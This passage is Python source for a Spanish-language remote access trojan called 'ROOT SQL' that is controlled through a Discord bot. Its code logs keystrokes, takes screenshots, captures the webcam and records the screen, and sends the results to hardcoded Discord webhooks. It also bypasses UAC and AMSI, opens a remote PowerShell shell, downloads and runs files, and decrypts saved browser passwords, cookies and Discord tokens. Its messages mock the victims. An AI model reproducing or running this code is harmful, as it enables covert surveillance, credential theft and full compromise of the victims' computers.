except Exception as e:
await ctx.send(f"[!] Error al tomar la captura de pantalla: {e}")

@bot.command()
async def monitoreo(ctx):
global monitoring_status
if monitoring_status:
await ctx.send("El monitoreo ya esta en curso.")
return

monitoring_status = True
await ctx.send("Iniciando monitoreo...")

pcn = socket.gethostname().lower()
webhook_url = "https://discord.com/api/webhooks/1402564530491494454/YjB2ih-
DVug_kiqkRQpF1i2n04uIVCbX-eYtFm7Tv_qdrgxUkA41POASFVftWW0Omcbh"

async def monitoring_task():


global monitoring_status
try:
while monitoring_status:
temp_dir = os.getenv("TEMP") or "/tmp"
temp_path = os.path.join(temp_dir, "monitor.png")

with mss.mss() as sct:


sct.shot(output=temp_path)

with open(temp_path, "rb") as file:


payload = {"content": f"[{pcn}] Captura de pantalla tomada."}
files = {"file": ("monitor.png", file, "image/png")}
response = requests.post(webhook_url, data=payload,
files=files)

os.remove(temp_path)
await asyncio.sleep(3)

except Exception as e:
monitoring_status = False
await ctx.send(f"[!] Error durante el monitoreo: {e}")

@bot.command()
async def stopmonitoreo(ctx):
global monitoring_status
if monitoring_status:
monitoring_status = False
await ctx.send("El monitoreo ha sido detenido.")
else:
await ctx.send("El monitoreo no esta activo.")

@bot.command()
async def validtoken(ctx, token: str):

async with aiohttp.ClientSession() as session:


headers = {"Authorization": token}
async with session.get("https://discord.com/api/v10/users/@me",
headers=headers) as response:
if response.status == 200:
user_data = await response.json()
embed = discord.Embed(
title="Token valido",
description=f"Usuario:
{user_data['username']}#{user_data['discriminator']}",
color=0x000000
)
else:
embed = discord.Embed(
title="Token Invalido",
description="```El token ingresado no es valido.```",
color=0x000000
)

await ctx.send(embed=embed)

def IsAdmin():
return ctypes.windll.shell32.IsUserAnAdmin() == 1

def GetSelf():
if hasattr(sys, "frozen"):
return (sys.executable, True)
else:
return (__file__, False)

def UACbypass(method: int = 1) -> bool:


if GetSelf()[1]:
execute = lambda cmd: subprocess.run(cmd, shell=True, capture_output=True)
if method == 1:
execute(f'reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\
command /d "{sys.executable}" /f')
execute('reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\
command /v "DelegateExecute" /f')
log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows
Defender/Operational" /f:text').stdout)
execute('computerdefaults --nouacbypass')
log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows
Defender/Operational" /f:text').stdout)
execute('reg delete hkcu\\Software\\Classes\\ms-settings /f')
if log_count_after > log_count_before:
return UACbypass(method + 1)
elif method == 2:
execute(f'reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\
command /d "{sys.executable}" /f')
execute('reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\
command /v "DelegateExecute" /f')
log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows
Defender/Operational" /f:text').stdout)
execute('fodhelper --nouacbypass')
log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows
Defender/Operational" /f:text').stdout)
execute('reg delete hkcu\\Software\\Classes\\ms-settings /f')
if log_count_after > log_count_before:
return UACbypass(method + 1)
else:
return False
return True
return False

strategic_locations = [
rf"C:\Users\{getpass.getuser()}\AppData\Roaming\Microsoft\Windows\Start Menu\
Programs\Startup",
rf"C:\Users\{getpass.getuser()}\AppData\Roaming\Microsoft\Windows\Templates",
rf"C:\Users\{getpass.getuser()}\AppData\Local\Microsoft\Windows\Explorer",
rf"C:\Users\{getpass.getuser()}\AppData\Local\Temp\Microsoft",
rf"C:\Users\{getpass.getuser()}\Documents\My Games",
rf"C:\Users\{getpass.getuser()}\AppData\Local\Microsoft\Windows\INetCache",
rf"C:\Users\{getpass.getuser()}\AppData\Roaming\Microsoft\Word",
rf"C:\Users\{getpass.getuser()}\AppData\Local\Microsoft\Edge\User Data",
r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp",
r"C:\Windows\Temp\Microsoft",
r"C:\Windows\System32\Tasks\Microsoft",
r"C:\Program Files\Common Files\Microsoft Shared\MSInfo",
r"C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo",
r"C:\ProgramData\Microsoft\Windows Defender\Scans\History\Store",
r"C:\ProgramData\Microsoft\Windows\WER\ReportQueue",
r"C:\$Recycle.Bin\S-1-5-21-1234567890-1234567890-1234567890-1000",
r"C:\System Volume Information\Microsoft",
]

legitimate_names = [
"ConfigSystem.exe",
"svchost.exe",
"winlogon.exe",
"explorer.exe",
"dwm.exe",
"csrss.exe",
"lsass.exe",
"services.exe",
"spoolsv.exe",
"taskhost.exe"
]

@bot.command()
async def amsi_bypass(ctx):
success, message = persistence_engine.bypass_amsi()
await ctx.send(message)

@bot.command()
async def escal(ctx):
if IsAdmin():
await ctx.send("✅ Ya tienes privilegios de administrador.")
return

if not GetSelf()[1]:
await ctx.send("⚠️ El script debe estar congelado (ejecutable) para
intentar bypass UAC.")
return

try:
success = UACbypass()
if success:
await ctx.send("✅ Intento de bypass UAC realizado. El proceso puede
haberse reiniciado con admin.")
os._exit(0)
else:
await ctx.send("❌ No se pudo realizar el bypass UAC.")
except Exception as e:
await ctx.send(f"❌ Error al intentar bypass UAC: {e}")
@bot.command()
async def webcam(ctx, seshn: str):
session = sessions.get(seshn.lower())
if session:
cap = cv2.VideoCapture(0)

if not cap.isOpened():
await ctx.send("Failed")
return

ret, frame = cap.read()

if not ret:
await ctx.send("Failed.")
return
output = "webcam.jpg"
cv2.imwrite(output, frame)
await session.send("", file=discord.File(output))
os.remove(output)
cap.release()
else:
pass

@bot.command()
async def syinfo(ctx, seshn: str):
session = sessions.get(seshn.lower())
if session:
# Informacion basica del sistema
si = platform.uname()
boot_time = datetime.datetime.fromtimestamp(psutil.boot_time())
uptime = datetime.datetime.now() - boot_time

# Informacion de CPU
cpu_usage = psutil.cpu_percent(interval=1)
cpu_count_physical = psutil.cpu_count(logical=False)
cpu_count_logical = psutil.cpu_count(logical=True)
cpu_freq = psutil.cpu_freq()

# Informacion de memoria
memory_info = psutil.virtual_memory()
swap_info = psutil.swap_memory()

# Informacion de disco
disk_partitions = psutil.disk_partitions()
disk_usage = psutil.disk_usage('/')

# Informacion de red
network_info = psutil.net_io_counters()
network_interfaces = psutil.net_if_addrs()

# Temperatura de CPU
try:
temps = psutil.sensors_temperatures()
if "coretemp" in temps:
cpu_temp = f"{temps['coretemp'][0].current}°C"
elif "acpi" in temps:
cpu_temp = f"{temps['acpi'][0].current}°C"
else:
cpu_temp = "No disponible"
except (AttributeError, KeyError):
cpu_temp = "No disponible"

# Procesos principales
top_processes = []
for proc in psutil.process_iter(['pid', 'name', 'cpu_percent',
'memory_percent']):
try:
top_processes.append(proc.info)
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass

top_processes_cpu = sorted(top_processes, key=lambda x: x['cpu_percent'] or


0, reverse=True)[:5]
top_processes_mem = sorted(top_processes, key=lambda x: x['memory_percent']
or 0, reverse=True)[:5]

# Informacion de Python
python_version = platform.python_version()

# Crear embeds (Discord tiene limite de caracteres por embed)


# Embed 1: Informacion general del sistema
embed1 = discord.Embed(title="ROOT SQL - GENERAL",
color=discord.Color(0x000000))
embed1.add_field(name="Sistema Operativo", value=f"```{si.system}
{si.release}```", inline=True)
embed1.add_field(name="Nombre del Host", value=f"```{si.node}```",
inline=True)
embed1.add_field(name="Arquitectura", value=f"```{si.machine}```",
inline=True)
embed1.add_field(name="Tiempo de Arranque",
value=f"```{boot_time.strftime('%Y-%m-%d %H:%M:%S')}```", inline=True)
embed1.add_field(name="Tiempo Activo", value=f"```{str(uptime).split('.')
[0]}```", inline=True)
embed1.add_field(name="Python", value=f"```{python_version}```",
inline=True)

# Embed 2: CPU y Memoria


embed2 = discord.Embed(title="ROOT SQL - EXTRA",
color=discord.Color(0x000000))
embed2.add_field(name="Procesador", value=f"```{si.processor[:50]}```",
inline=False)
embed2.add_field(name="Temperatura CPU", value=f"```{cpu_temp}```",
inline=True)
embed2.add_field(name="Uso de CPU", value=f"```{cpu_usage}%```",
inline=True)
embed2.add_field(name="Nucleos", value=f"```Fisicos: {cpu_count_physical} |
Logicos: {cpu_count_logical}```", inline=True)

if cpu_freq:
embed2.add_field(name="VIPER SQL - Frecuencia CPU",
value=f"```Actual: {cpu_freq.current:.0f}MHz | Max:
{cpu_freq.max:.0f}MHz```", inline=False)

embed2.add_field(name="Memoria RAM",
value=f"```Usado: {memory_info.used / (1024**3):.2f}GB
({memory_info.percent}%)\nTotal: {memory_info.total / (1024**3):.2f}GB\nDisponible:
{memory_info.available / (1024**3):.2f}GB```",
inline=True)

if swap_info.total > 0:
embed2.add_field(name="Memoria SWAP",
value=f"```Usado: {swap_info.used / (1024**3):.2f}GB
({swap_info.percent}%)\nTotal: {swap_info.total / (1024**3):.2f}GB```",
inline=True)

# Embed 3: Almacenamiento
embed3 = discord.Embed(title="VIPER SQL - Almacenamiento",
color=discord.Color(0x000000))

# Informacion del disco principal


embed3.add_field(name="Disco Principal (/)",
value=f"```Usado: {disk_usage.used / (1024**3):.2f}GB
({disk_usage.percent}%)\nTotal: {disk_usage.total / (1024**3):.2f}GB\nLibre:
{disk_usage.free / (1024**3):.2f}GB```",
inline=False)

# Particiones
partitions_info = []
for partition in disk_partitions[:3]: # Limitamos a 3 particiones
try:
partition_usage = psutil.disk_usage(partition.mountpoint)
partitions_info.append(f"{partition.device} ({partition.fstype}):
{partition_usage.percent}%")
except PermissionError:
partitions_info.append(f"{partition.device}: Sin acceso")

if partitions_info:
embed3.add_field(name="Particiones",
value=f"```{chr(10).join(partitions_info)}```", inline=False)

# Embed 4: Red y Procesos


embed4 = discord.Embed(title="VIPER SQL - Red y Procesos",
color=discord.Color(0x000000))

# Informacion de red
embed4.add_field(name="Trafico de Red",
value=f"```Enviado: {network_info.bytes_sent /
(1024**2):.2f}MB\nRecibido: {network_info.bytes_recv / (1024**2):.2f}MB```",
inline=True)

# IP local
try:
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
embed4.add_field(name="IP Local", value=f"```{local_ip}```",
inline=True)
except:
embed4.add_field(name="IP Local", value="```No disponible```",
inline=True)

# Top procesos por CPU


cpu_procs = []
for proc in top_processes_cpu:
if proc['cpu_percent'] and proc['cpu_percent'] > 0:
cpu_procs.append(f"{proc['name'][:15]}: {proc['cpu_percent']:.1f}
%")

if cpu_procs:
embed4.add_field(name="VIPE SQL - Top Procesos (CPU)",
value=f"```{chr(10).join(cpu_procs[:5])}```",
inline=False)

# Top procesos por memoria


mem_procs = []
for proc in top_processes_mem:
if proc['memory_percent'] and proc['memory_percent'] > 0:
mem_procs.append(f"{proc['name'][:15]}:
{proc['memory_percent']:.1f}%")

if mem_procs:
embed4.add_field(name="Top Procesos (RAM)",
value=f"```{chr(10).join(mem_procs[:5])}```",
inline=False)

# Enviar todos los embeds


await session.send(embed=embed1)
await session.send(embed=embed2)
await session.send(embed=embed3)
await session.send(embed=embed4)

else:
await ctx.send(f"No se encontro la sesion: {seshn}")

@bot.command()
async def ip(ctx, seshn: str):
session = sessions.get(seshn)
if session:
url = "http://ipinfo.io/json"
response = requests.get(url)
data = response.json()

embed = discord.Embed(title="ROOT SQL - IP LOG", description="",


color=discord.Color.from_rgb(0, 0, 0))
embed.add_field(name="IP", value=f"```{data['ip']}```", inline=False)
embed.add_field(name="City", value=f"```{data['city']}```", inline=True)
embed.add_field(name="Region", value=f"```{data['region']}```",
inline=True)
embed.add_field(name="Country", value=f"```{data['country']}```",
inline=True)
embed.add_field(name="Organization", value=f"```{data['org']}```",
inline=False)

await ctx.send(embed=embed)
else:
pass

WEBHOOK_URL =
"https://discord.com/api/webhooks/1402564412631683112/7uyYEi0_gjNNxx5TAd4k3wm0fvfXM
HfUzUqFJxkrcQR7rp7doMI9h5plJHJeq7uuboT8"

sentence = ""
keylogger_active = False
def send_to_discord(message):
pcn = socket.gethostname().lower()
embed = discord.Embed(

title=(f"KEYLOGGER {pcn}"),
description=f"```{message}```",
color=discord.Color(0x000000)
)

data = {
"embeds": [embed.to_dict()]
}

response = requests.post(WEBHOOK_URL, json=data)


if response.status_code != 204:
pass

def keylog():
global sentence, keylogger_active
keylogger_active = True
start_time = time.time()

def on_press(key):
global sentence
sentence += str(key).replace("'", "") + " "

from pynput.keyboard import Listener # Moved import here to avoid circular


dependency if not used by RemoteClient
with Listener(on_press=on_press) as listener:
while keylogger_active:
listener.join(timeout=1)
elapsed_time = time.time() - start_time
if elapsed_time >= 10:
send_to_discord(sentence)
sentence = ""
start_time = time.time()

def send_text_periodically():
global sentence, keylogger_active
while keylogger_active:
time.sleep(10)
if sentence:
send_to_discord(sentence)
sentence = ""

def stop_keylogger():
global keylogger_active
keylogger_active = False
send_to_discord("```Keylogger detenido.```")

@bot.command()
async def startkeylogger(ctx):
keylogger_thread = threading.Thread(target=keylog)
keylogger_thread.daemon = True
keylogger_thread.start()

periodic_sender_thread = threading.Thread(target=send_text_periodically)
periodic_sender_thread.daemon = True
periodic_sender_thread.start()

embed = discord.Embed(
description="```[*] Keylogger iniciado con exito```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)

@bot.command()
async def stopkeylogger(ctx):
stop_keylogger()
embed = discord.Embed(
description="```[*] Keylogger terminado```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)

@bot.command()
async def record(ctx, seshn: str):
session = sessions.get(seshn.lower())
pcn = socket.gethostname().lower()
if session:
embed = discord.Embed(
title=f"ROOT SQL Rencord",
description=f"```Grabando pantalla para {pcn}```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)

start = datetime.datetime.now()
duration = datetime.timedelta(seconds=30)
frames = []

while datetime.datetime.now() - start < duration:


img = ImageGrab.grab()
frames.append(cv2.cvtColor(np.array(img), cv2.COLOR_RGB2BGR))

await asyncio.sleep(0.1)

height, width, _ = frames[0].shape


outputf = "screen.mp4"
fourcc = cv2.VideoWriter_fourcc(*'mp4v')
videow = cv2.VideoWriter(outputf, fourcc, 10, (width, height))

for frame in frames:


videow.write(frame)
videow.release()

embed = discord.Embed(
title=f"ROOT SQL Record",
description=f"```Grabacion completada para {pcn}```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)
await ctx.send(file=discord.File(outputf))
os.remove(outputf)
else:
pass
@bot.command()
async def website(ctx, seshn: str, websiteu: str):
session = sessions.get(seshn.lower())
pcn = socket.gethostname().lower()
if session:
try:
webbrowser.open(websiteu)

embed = discord.Embed(
title="ROOT SQL Website",
description=f"```abriendo siteoweb para {pcn}```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)
except webbrowser.Error:
embed = discord.Embed(
title="ROOT SQL Website",
description=f"```El sitio web no se pudo abrir {pcn}```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)
else:
pass

@bot.command()
async def shell(ctx, seshn: str, *, command: str):
session = sessions.get(seshn.lower())
if session:
try:
output = subprocess.check_output(
["powershell", "-Command", command],
stderr=subprocess.STDOUT,
universal_newlines=True
)
with open("output.txt", "w", encoding="utf-8") as file:
file.write(output if output else "[Sin salida]")
await session.send(file=discord.File("output.txt"))
os.remove("output.txt")
except subprocess.CalledProcessError as e:
await session.send(f"Error al ejecutar:\n```{e.output}```")
except Exception as ex:
await session.send(f"Ocurrio un error:\n```{str(ex)}```")
else:
await ctx.send("Sesion no encontrada.")

@bot.command()
async def getdownloads(ctx, seshn: str):
session = sessions.get(seshn.lower())
if session:
downloadf = os.path.expanduser("~\\Downloads")
files = os.listdir(downloadf)
if not files:
await session.send("No files found")
return

filel = "\n".join(files)
with open("CdriveDownload.txt", "w", encoding="utf-8") as file:
file.write(filel)
await session.send("", file=discord.File("CdriveDownload.txt"))
os.remove("CdriveDownload.txt")
else:
pass

@bot.command()
async def download(ctx, seshn: str, filename: str):
session = sessions.get(seshn.lower())
if session:
download = os.path.expanduser("~\\Downloads")
file = os.path.join(download, filename)
if os.path.isfile(file):
await session.send(f"Descargando", file=discord.File(file))
else:
pass
else:
pass

@bot.command()
async def upload(ctx, sesion: str, enlace_archivo: str):
session = sessions.get(sesion.lower())
if session:
if not enlace_archivo.startswith("https://cdn.discordapp.com"):
embed = discord.Embed(title="ROOT SQL Upload", description="```Enlace
no valido. Debe ser un enlace de descarga de un archivo adjunto de Discord.```",
color=discord.Color.dark_gray())
await ctx.send(embed=embed)
return

try:
response = requests.get(enlace_archivo)
if response.status_code == 200:
nombre_archivo = enlace_archivo.split("/")[-1]
ruta_archivo = f"./{nombre_archivo}"

with open(ruta_archivo, "wb") as file:


file.write(response.content)

try:
subprocess.Popen(["start", ruta_archivo], shell=True)
embed = discord.Embed(title="ROOT SQL Upload", description="El
archivo ha sido ejecutado.", color=discord.Color.dark_gray())
except subprocess.SubprocessError:
embed = discord.Embed(title="ROOT SQL Upload", description="No
se pudo ejecutar el archivo.", color=discord.Color.dark_gray())
else:
embed = discord.Embed(title="ROOT SQL Upload", description="No se
pudo descargar el archivo.", color=discord.Color.dark_gray())
except requests.exceptions.RequestException:
embed = discord.Embed(title="ROOT SQL Upload", description="Ocurrio un
error durante la descarga.", color=discord.Color.dark_gray())

await ctx.send(embed=embed)

@bot.command()
async def shutdown(ctx, seshn: str):
session = sessions.get(seshn.lower())
if session:
try:
os.system("shutdown /s /t 0")

await ctx.send(f"Computer Shutdown")


except os.OSError:
await ctx.send("Failed")
else:
pass

@bot.command()
async def restart(ctx, seshn: str):
session = sessions.get(seshn.lower())
if session:
try:
os.system("shutdown /r /t 0")

await ctx.send(f"Computer Restarted")


except os.OSError:
await ctx.send("Failed")
else:
pass

@bot.command()
async def message(ctx, *, mensaje: str):
pyautogui.alert(text=mensaje, title='ROOT SQ', button='OK')

embed = discord.Embed(
title="```MESSAGE ROOT SQL```",
description=f"```Mensaje Enviado con exitosamente para el mongolo q cayo en
un rat {mensaje}```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)

browser_paths = {
"edge": os.path.expanduser("~") + r"\\AppData\\Local\\Microsoft\\Edge\\User
Data\\Default\\History",
"chrome": os.path.expanduser("~") + r"\\AppData\\Local\\Google\\Chrome\\User
Data\\Default\\History",
"firefox": os.path.expanduser("~") + r"\\AppData\\Roaming\\Mozilla\\Firefox\\
Profiles\\*.default-release\\places.sqlite",
"opera": os.path.expanduser("~") + r"\\AppData\\Roaming\\Opera Software\\Opera
Stable\\History",
"brave": os.path.expanduser("~") + r"\\AppData\\Local\\BraveSoftware\\Brave-
Browser\\User Data\\Default\\History",
"vivaldi": os.path.expanduser("~") + r"\\AppData\\Local\\Vivaldi\\User Data\\
Default\\History"
}

def get_browser_history(browser):
try:

if browser == "edge":
history_path = browser_paths["edge"]
elif browser == "chrome":
history_path = browser_paths["chrome"]
elif browser == "firefox":
history_path = browser_paths["firefox"]
elif browser == "opera":
history_path = browser_paths["opera"]
elif browser == "brave":
history_path = browser_paths["brave"]
elif browser == "vivaldi":
history_path = browser_paths["vivaldi"]
else:
return None

if not os.path.exists(history_path):
return None

temp_db = f"{browser}_history_copy"
shutil.copy2(history_path, temp_db)

conn = sqlite3.connect(temp_db)
cursor = conn.cursor()

cursor.execute("SELECT url, title, visit_count FROM urls ORDER BY


last_visit_time DESC LIMIT 100")

history = []
for row in cursor.fetchall():
history.append(f"URL: {row[0]} | Titulo: {row[1]} | Visitas: {row[2]}")

conn.close()
os.remove(temp_db)
return history
except Exception as e:
pass
return None

@bot.command()
async def historial(ctx, navegador: str):
"""Comando que extrae el historial del navegador y lo envia como
archivo .txt"""

if navegador not in browser_paths:


embed = discord.Embed(
title="ROOT SQL HISTORIAL",
description="```Navegador no disponible usa: 'edge', 'chrome',
'firefox', 'opera', 'brave' o 'vivaldi'.```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed)
return

history = get_browser_history(navegador)

if history:
file_name = f"{navegador}_history.txt"
with open(file_name, 'w', encoding='utf-8') as f:
for entry in history:
f.write(entry + "\n")

embed = discord.Embed(
title=f"Historial de {navegador.capitalize()}",
description="```Historial del pajero ese```",
color=discord.Color.from_rgb(0, 0, 0)
)
await ctx.send(embed=embed, file=discord.File(file_name))

os.remove(file_name)
else:
await ctx.send(f"No se pudo obtener el historial de
{navegador.capitalize()}. Asegurate de que el navegador esté instalado y el
historial sea accesible.")

LOCAL = os.getenv("LOCALAPPDATA")
ROAMING = os.getenv("APPDATA")

PATHS = {
'Discord': ROAMING + '\\discord',
'Discord Canary': ROAMING + '\\discordcanary',
'Lightcord': ROAMING + '\\Lightcord',
'Discord PTB': ROAMING + '\\discordptb',
'Opera': ROAMING + '\\Opera Software\\Opera Stable',
'Opera GX': ROAMING + '\\Opera Software\\Opera GX Stable',
'Amigo': LOCAL + '\\Amigo\\User Data',
'Torch': LOCAL + '\\Torch\\User Data',
'Kometa': LOCAL + '\\Kometa\\User Data',
'Orbitum': LOCAL + '\\Orbitum\\User Data',
'CentBrowser': LOCAL + '\\CentBrowser\\User Data',
'7Star': LOCAL + '\\7Star\\7Star\\User Data',
'Sputnik': LOCAL + '\\Sputnik\\Sputnik\\User Data',
'Vivaldi': LOCAL + '\\Vivaldi\\User Data\\Default',
'Chrome SxS': LOCAL + '\\Google\\Chrome SxS\\User Data',
'Chrome': LOCAL + "\\Google\\Chrome\\User Data\\Default",
'Epic Privacy Browser': LOCAL + '\\Epic Privacy Browser\\User Data',
'Microsoft Edge': LOCAL + '\\Microsoft\\Edge\\User Data\\Default',
'Uran': LOCAL + '\\uCozMedia\\Uran\\User Data\\Default',
'Yandex': LOCAL + '\\Yandex\\YandexBrowser\\User Data\\Default',
'Brave': LOCAL + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Iridium': LOCAL + '\\Iridium\\User Data\\Default'
}

def enc(path):
try:
with open(path + "\\Local State", "r", encoding="utf-8") as f:
local_state = json.load(f)
encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
[5:]
return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
except:
return None
def dec(encrypted, key):
try:
encrypted = encrypted[3:]
iv = encrypted[:12]
payload = encrypted[12:-16]
tag = encrypted[-16:]
cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
return cipher.decrypt_and_verify(payload, tag).decode()
except:
return None

def get_user_info(token):
"""Obtener informacion completa del usuario de Discord"""
try:
headers = {"Authorization": token}

# Informacion basica del usuario


res = requests.get("https://discord.com/api/v9/users/@me", headers=headers)
if res.status_code == 200:
user_data = res.json()

# Informacion adicional
user_info = {
'username': user_data.get('username', 'Unknown'),
'discriminator': user_data.get('discriminator', '0000'),
'id': user_data.get('id', 'Unknown'),
'email': user_data.get('email', 'No verificado'),
'verified': user_data.get('verified', False),
'phone': user_data.get('phone', 'No verificado'),
'avatar': user_data.get('avatar', None),
'banner': user_data.get('banner', None),
'accent_color': user_data.get('accent_color', None),
'premium_type': user_data.get('premium_type', 0), # 0=None,
1=Nitro Classic, 2=Nitro
'public_flags': user_data.get('public_flags', 0),
'flags': user_data.get('flags', 0)
}

# Obtener informacion de Nitro


nitro_info = "Sin Nitro"
if user_info['premium_type'] == 1:
nitro_info = "Nitro Classic"
elif user_info['premium_type'] == 2:
nitro_info = "Nitro"

user_info['nitro'] = nitro_info

# Obtener lista de amigos


try:
friends_res =
requests.get("https://discord.com/api/v9/users/@me/relationships", headers=headers)
if friends_res.status_code == 200:
friends_data = friends_res.json()
friends_list = []
for friend in friends_data:
if friend.get('type') == 1: # Tipo 1 = amigo
friend_user = friend.get('user', {})
friends_list.append({
'username': friend_user.get('username', 'Unknown'),
'discriminator': friend_user.get('discriminator',
'0000'),
'id': friend_user.get('id', 'Unknown')
})
user_info['friends'] = friends_list
else:
user_info['friends'] = []
except:
user_info['friends'] = []

# Obtener lista de servidores


try:
guilds_res =
requests.get("https://discord.com/api/v9/users/@me/guilds", headers=headers)
if guilds_res.status_code == 200:
guilds_data = guilds_res.json()
guilds_list = []
for guild in guilds_data:
guilds_list.append({
'name': guild.get('name', 'Unknown'),
'id': guild.get('id', 'Unknown'),
'owner': guild.get('owner', False),
'permissions': guild.get('permissions', '0'),
'icon': guild.get('icon', None)
})
user_info['guilds'] = guilds_list
else:
user_info['guilds'] = []
except:
user_info['guilds'] = []

return user_info
except:
pass
return None

def ext():
found = []
for _, path in PATHS.items():
if not os.path.exists(path):
continue

key = enc(path)
if not key:
continue

db_path = os.path.join(path, "Local Storage", "leveldb")


if not os.path.exists(db_path):
continue

for file_name in os.listdir(db_path):


if not file_name.endswith((".log", ".ldb")):
continue
file_path = os.path.join(db_path, file_name)
try:
with open(file_path, "r", errors="ignore") as file:
for line in file:
matches = re.findall(r'dQw4w9WgXcQ:[^\"]+', line)
for match in matches:
try:
encoded = match.split("dQw4w9WgXcQ:")[1]
enc_data = base64.b64decode(encoded)
token = dec(enc_data, key)
if token:
user_info = get_user_info(token)
if user_info:
found.append({
'token': token,
'user_info': user_info
})
except:
continue
except:
continue
return found

@bot.command(name="tokens")
async def stealtokens(ctx):
try:
results = ext()
if results:
embed = discord.Embed(
title="`ROOT SQL - TOKENS DC`",
color=0x000000
)
for result in results:
user_info = result['user_info']
token = result['token']

# Avatar URL
avatar_url =
f"https://cdn.discordapp.com/avatars/{user_info['id']}/{user_info['avatar']}.png"
if user_info['avatar'] else "https://cdn.discordapp.com/embed/avatars/0.png"

embed.add_field(
name=f"{user_info['username']}#{user_info['discriminator']}",
value=f"```ID: {user_info['id']}\nEmail: {user_info['email']}\
nNitro: {user_info['nitro']}\nVerificado: {'Si' if user_info['verified'] else
'No'}\nAmigos: {len(user_info['friends'])}\nServidores: {len(user_info['guilds'])}\
n\nToken: {token}```",
inline=False
)
await ctx.send(embed=embed)
else:
await ctx.send("No se encontraron tokens. :skull:")
except Exception as e:
await ctx.send(f"Error: {str(e)}")

FILES_PER_PAGE = 10

BROWSER_PATHS = {
"chrome": {
"local_state": r"%LOCALAPPDATA%\Google\Chrome\User Data\Local State",
"login_data": r"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data"
},
"edge": {
"local_state": r"%LOCALAPPDATA%\Microsoft\Edge\User Data\Local State",
"login_data": r"%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data"
},
"brave": {
"local_state": r"%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\Local
State",
"login_data": r"%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\
Default\Login Data"
},
"opera": {
"local_state": r"%APPDATA%\Opera Software\Opera Stable\Local State",
"login_data": r"%APPDATA%\Opera Software\Opera Stable\Login Data"
},
"opera_gx": {
"local_state": r"%APPDATA%\Opera Software\Opera GX Stable\Local State",
"login_data": r"%APPDATA%\Opera Software\Opera GX Stable\Login Data"
},
"vivaldi": {
"local_state": r"%LOCALAPPDATA%\Vivaldi\User Data\Default\Local State",
"login_data": r"%LOCALAPPDATA%\Vivaldi\User Data\Default\Login Data"
},
"yandex": {
"local_state": r"%LOCALAPPDATA%\Yandex\YandexBrowser\User Data\Local
State",
"login_data": r"%LOCALAPPDATA%\Yandex\YandexBrowser\User Data\Default\Login
Data"
},
"chromium": {
"local_state": r"%LOCALAPPDATA%\Chromium\User Data\Local State",
"login_data": r"%LOCALAPPDATA%\Chromium\User Data\Default\Login Data"
}
}

# Cerrar el navegador si esta abierto


def close_browser(browser):
names = {
"chrome": "chrome.exe",
"edge": "msedge.exe",
"brave": "brave.exe",
"opera": "opera.exe",
"opera_gx": "opera.exe",
"vivaldi": "vivaldi.exe",
"yandex": "browser.exe",
"chromium": "chromium.exe"
}
exe = names.get(browser)
if exe:
for proc in psutil.process_iter(['name']):
if proc.info['name'] and exe.lower() in proc.info['name'].lower():
try:
proc.kill()
except Exception:
pass

# Obtener la master key del navegador


def get_master_key(browser):
path = os.path.expandvars(BROWSER_PATHS[browser]["local_state"])
if not os.path.exists(path):
return None
with open(path, "r", encoding="utf-8") as f:
local_state = json.load(f)
encrypted_key_b64 = local_state["os_crypt"]["encrypted_key"]
encrypted_key = base64.b64decode(encrypted_key_b64)[5:] # quitar DPAPI
return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]

# Desencriptar una contraseña


def decrypt_password(buff, master_key):
try:
if buff[:3] == b'v10':
iv = buff[3:15]
payload = buff[15:-16]
tag = buff[-16:]
cipher = AES.new(master_key, AES.MODE_GCM, nonce=iv)
return cipher.decrypt_and_verify(payload, tag).decode()
except Exception:
return None
return None

# Extraer contraseñas y guardarlas en JSON y CSV


def extract_passwords(browser):
db_path = os.path.expandvars(BROWSER_PATHS[browser]["login_data"])
if not os.path.exists(db_path):
return None

close_browser(browser)

temp_db = f"{browser}_LoginDataCopy.db"
try:
shutil.copy2(db_path, temp_db)
except Exception:
return None

master_key = get_master_key(browser)
if not master_key:
return None

conn = sqlite3.connect(temp_db)
cursor = conn.cursor()
try:
cursor.execute("SELECT origin_url, username_value, password_value FROM
logins")
except Exception:
conn.close()
os.remove(temp_db)
return None

data = []
for origin_url, username, password_encrypted in cursor.fetchall():
password = decrypt_password(password_encrypted, master_key)
if password:
data.append({
"website": origin_url,
"username": username,
"password": password
})

cursor.close()
conn.close()
os.remove(temp_db)

return data if data else None

def extract_cookies_data(browser):
cookie_paths = {
"chrome": r"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies",
"edge": r"%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cookies",
"brave": r"%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\Default\
Cookies",
"opera": r"%APPDATA%\Opera Software\Opera Stable\Cookies",
"opera_gx": r"%APPDATA%\Opera Software\Opera GX Stable\Cookies",
